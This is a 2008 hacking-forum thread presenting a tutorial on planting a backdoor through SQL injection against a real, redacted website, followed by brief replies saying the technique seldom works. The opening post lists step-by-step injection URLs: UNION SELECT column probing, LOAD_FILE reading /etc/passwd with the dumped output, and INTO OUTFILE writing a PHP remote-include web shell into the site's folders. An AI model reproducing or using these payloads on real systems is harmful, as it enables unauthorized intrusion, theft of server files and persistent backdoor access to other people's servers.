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www.waraxe.us Forum Index -> Sql injection -> [tut]how to upload backdoor by sql inject [exp]
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[tut]how to upload backdoor by sql inject [exp]
PostPosted: Wed Mar 12, 2008 2:48 pm Reply with quote
onbiew
Regular user
Regular user
Joined: Nov 29, 2005
Posts: 12




http://whois.domaintools.com/********.org

Quote:
Dedicated Hosting: ********.org is hosted on a dedicated server.
Name Server:NS2.********.COM
Name Server:NS1.********.COM


Target: upload file

http://********.org/page.php?id=612'
Error:
Quote:
Bad MySQL Statement:
SELECT * FROM site WHERE pID = '612''


--------------------------------------------------------------------------------
MySQL says:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''612''' at line 1
(Line 1465 ,/home3/********/********-www/admin/function.lib.php)
--------------------------------------------------------------------------------


Try to attack:
http://********/page.php?id=-612'+union+select+1/*
http://********/page.php?id=-612'+union+select+1,2/*
..
http://********/page.php?id=-612'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
Error:
Quote:
Bad MySQL Statement:
SELECT * FROM site WHERE pID = '-612' union select 1/*'


--------------------------------------------------------------------------------
MySQL says:
The used SELECT statements have a different number of columns
(Line 1465 ,/home3/********/********-www/admin/function.lib.php)
--------------------------------------------------------------------------------


http://********.org/page.php?id=-612'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
then blankpage with 12,14
i don't get database, read local:

http://********.org/page.php?id=-612'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,Load_file('/etc/passwd'),15,16,17/*

Quote:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: piranha:x:60:60::/home/httpd/html/piranha:/dev/null nobody:x:99:99:Nobody:/: netop:x:0:75::/home/netop:/bin/bash


try to write file:

http://********.org/page.php?id=-612'%20union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,'<?php%20include($_GET[link]);?>'+into+outfile+'/home3/********/********-www/nothingdeptrai.php'/*

Quote:
Bad MySQL Statement:
SELECT * FROM site WHERE pID = '-612' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,'' into outfile '/home3/********/********-www/nothingdeptrai.php'/*'


--------------------------------------------------------------------------------
MySQL says:
Can't create/write to file '/home3/********/********-www/nothingdeptrai.php' (Errcode: 13)
(Line 1465 ,/home3/********/********-www/admin/function.lib.php)
--------------------------------------------------------------------------------


victim not per for write in folder, try to folder PDF.

http://********.org/page.php?id=-612'%20union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,'<?php%20include($_GET[link]);?>'+into+outfile+'/home3/********/********-www/PDF/itlangson.php'/*
Quote:
Bad MySQL Statement:
SELECT * FROM site WHERE pID = '-612' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,'' into outfile '/home3/********/********-www/PDF/itlangson.php'/*'


--------------------------------------------------------------------------------
MySQL says:
File '/home3/********/********-www/PDF/itlangson.php' already exists
(Line 1465 ,/home3/********/********-www/admin/function.lib.php)


Done.
run link:
http://********.org/PDF/itlangson.php

[[ edited by waraxe]]

No real URL-s next time Exclamation
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PostPosted: Wed Mar 12, 2008 8:13 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




This method works in 2% of all server's.

Good work.
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PostPosted: Sat Mar 22, 2008 5:05 pm Reply with quote
Frigo
Regular user
Regular user
Joined: Feb 10, 2008
Posts: 13
Location: European Union




Yeah, load_file and into outfile is disabled on most servers.
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PostPosted: Sun Mar 23, 2008 4:09 am Reply with quote
kieuanh
Regular user
Regular user
Joined: Mar 22, 2008
Posts: 23




sql load_file is too old,anyway thx u Laughing
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[tut]how to upload backdoor by sql inject [exp]
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